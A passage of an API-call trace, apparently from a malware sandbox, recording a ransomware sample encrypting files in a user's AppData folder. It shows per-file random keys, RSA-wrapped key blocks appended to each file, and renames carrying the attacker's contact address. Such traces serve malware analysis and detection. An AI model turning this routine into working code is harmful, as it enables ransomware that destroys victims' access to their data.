returned 0x5be738 [0155.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.447] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.447] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\E8c5e.wav", dwFileAttributes=0x80) returned 1 [0155.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be8f0 [0155.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0155.447] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0155.447] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\E8c5e.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\e8c5e.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.447] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=37901) returned 1 [0155.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x940d) returned 0x6538b0 [0155.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x940d) returned 0x2e61f30 [0155.448] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x940d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x940d, lpOverlapped=0x0) returned 1 [0155.449] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-37901, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.449] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0x940d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x940d, lpOverlapped=0x0) returned 1 [0155.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.449] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x940d [0155.449] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.449] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.449] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.449] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.449] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.449] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="DBH7AgjioJqxguESBOakEp1SujPyh8nid/5PQkieJHWlbD/QNlwILVdTiWWVFtO9\ny4XGquuTT/pJMpBlh8BN+qalNy+C5vZvsLfoSpjStpt3DZeCSoPYTi6RtFH1vyjr\nj0fG8YHiRVMlfl1XIStGVjZ+ON4NLYHy3l9PEPF5teNr08ogt+WF+ZMo5lZGpxKS\nXkneGiXJpbhBtafVivX42RnI0PaWCUcrbfEOvTOJ+HCjkRaT13wVmJ/mc8K8+onF\n6OAKemL3aZOnSQkV2KaOFuCo/cTxlFLUueHjhK7HzKrAR7Zq9oUszxvFf3E1voqr\nJyUad+T0y39AEyp39UOVIA==\n", pcchString=0x2e3f9a8) returned 1 [0155.449] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.450] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.450] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.450] CloseHandle (hObject=0x6a8) returned 1 [0155.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.450] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\E8c5e.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\e8c5e.wav"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\E8c5e.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\e8c5e.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.451] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0155.451] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.451] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0155.451] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0155.451] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0155.451] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0155.451] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.451] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\CDxZIs.odp", dwFileAttributes=0x80) returned 1 [0155.451] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b68b0 [0155.451] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0155.451] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b68b0 | out: hHeap=0x570000) returned 1 [0155.451] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\CDxZIs.odp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\cdxzis.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.452] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=64448) returned 1 [0155.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfbc0) returned 0x6538b0 [0155.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfbc0) returned 0x2e61f30 [0155.452] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xfbc0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xfbc0, lpOverlapped=0x0) returned 1 [0155.453] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-64448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.453] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xfbc0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfbc0, lpOverlapped=0x0) returned 1 [0155.453] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.453] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.453] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfbc0 [0155.453] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.453] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.453] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.453] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.454] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.454] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ZaHKXrDpehlIPxSIm7ChF9mtWqKn+8bahLK4Ar3odglVHEiKijHckXKpti+gi/9V\nCJpEkB02xSraS0oFHdCvCC8mejjy8tSUGnkEhBpX9nUY9Jzi6PyzFLoIwK+1o0wA\niIJOwO1BtxvvY+Js/MJ9TD6VaNpKsXlxjh5Zy2gjMqBXX0v5ArHo0F61hF1J6fDT\nukhk7LkujOgk4sQOjc3e8aMAszeSMBQLqJE1OHpYOeUq6UoTpD/7PPz+yJmVuLS7\n7KQV5f9Zgn1NW3pqV6YoUDkqPDvYnhWcJfyqHTvokTQNtuGi1yNe16Yc+avtDdPA\ncVwcbW9sMDBMQXbzls31tw==\n", pcchString=0x2e3f9a8) returned 1 [0155.454] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.454] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.454] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.454] CloseHandle (hObject=0x6a8) returned 1 [0155.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.454] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\CDxZIs.odp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\cdxzis.odp"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\CDxZIs.odp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\cdxzis.odp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0155.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0155.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0155.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eda0 | out: hHeap=0x570000) returned 1 [0155.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0155.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.456] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.456] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\c65QncG.swf", dwFileAttributes=0x80) returned 1 [0155.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0155.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0155.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0155.456] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\c65QncG.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\c65qncg.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.456] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=101640) returned 1 [0155.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18d08) returned 0x2e61f30 [0155.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18d08) returned 0x2e7ac40 [0155.456] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x18d08, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x18d08, lpOverlapped=0x0) returned 1 [0155.458] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-101640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.458] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e7ac40*, nNumberOfBytesToWrite=0x18d08, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e7ac40*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18d08, lpOverlapped=0x0) returned 1 [0155.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e7ac40 | out: hHeap=0x570000) returned 1 [0155.459] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18d08 [0155.459] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.459] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.459] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.459] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.460] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.460] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.460] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="SCdfAuqWkibocV9Yed3Ll0ISsPKcutoZv0PsP/sGRTKu7sbO4GTfDRHK2z6GiNjX\nBkqWuSHzD5VtXuiXIDmfGaqp1OK7PlMiw7aZKJ53YP+PmwFjkcXdEW8219pWSQsX\nHOVVYMLO1EErqku3IK6iaKXHJtSN/fqeX8Yx38Kjp/z5/VeHy8VkNJMDC6hcH9kj\nkOJv+iHsTC9Mtox9vENUDMIJ9xHllXDLamwzNHwSYBYsUT3ar2o+zZZK4f3e2k/Y\nqURuk7VYxolbETkiHqvr43vkcPZPVo5OnrJpl2Dr4SSpYArOoWP1NyiO8NYcc2wo\nCtg5LxLzmKbq1Uyk2x/Ifg==\n", pcchString=0x2e3f9a8) returned 1 [0155.460] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.460] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.460] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.460] CloseHandle (hObject=0x6a8) returned 1 [0155.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.460] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\c65QncG.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\c65qncg.swf"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\c65QncG.swf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\c65qncg.swf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0155.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0155.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec68 | out: hHeap=0x570000) returned 1 [0155.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0155.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.462] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.462] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\bQ_MHQ3CZH6Ech05-U.bmp", dwFileAttributes=0x80) returned 1 [0155.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0155.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0155.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0155.462] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\bQ_MHQ3CZH6Ech05-U.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bq_mhq3czh6ech05-u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.462] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=46776) returned 1 [0155.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb6b8) returned 0x6538b0 [0155.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb6b8) returned 0x2e61f30 [0155.463] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xb6b8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xb6b8, lpOverlapped=0x0) returned 1 [0155.464] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-46776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.464] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xb6b8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb6b8, lpOverlapped=0x0) returned 1 [0155.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.464] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb6b8 [0155.464] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.464] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.464] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.465] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.465] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.465] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.465] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="WDZEFvXCck+hzFAD17VT2t5CrnoRRurrO47C0kAyHMuZTTX3tRRvgEkM6pI4xKoL\nh0RF8/DVlIygW/A3GwT23IO2KoQBMKuWeBfUnSKaJkx772lmmGAx4muzyV8tQBhE\nMeorEDedpYfGw4UAe95LAX3Ivjbwhx6Da3IgGjKEXBnd++nmtc1RPGdB0TrfDTJz\nJppzQ3z++9cI79pSL8FyTJoZIcQY96O4N5PXOe5GBwN2C8PRUIQ+SNo02XBsnAT5\n5btDWMkcNRohOMhlFrsC3mYLNkf6s3dBQUwe9zdn7m7sxK2If/Vjn5YluQFe+xME\nu7MvjFTU4W7wvOqCB9JDFQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.465] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.465] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.465] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.465] CloseHandle (hObject=0x6a8) returned 1 [0155.465] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.465] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\bQ_MHQ3CZH6Ech05-U.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bq_mhq3czh6ech05-u.bmp"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\bQ_MHQ3CZH6Ech05-U.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bq_mhq3czh6ech05-u.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0155.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0155.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0155.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be528 [0155.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1180 [0155.467] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.467] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\BjBC.avi", dwFileAttributes=0x80) returned 1 [0155.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be630 [0155.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0155.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0155.467] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\BjBC.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\bjbc.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.467] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=22943) returned 1 [0155.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x599f) returned 0x6538b0 [0155.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x599f) returned 0x659258 [0155.467] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x599f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, 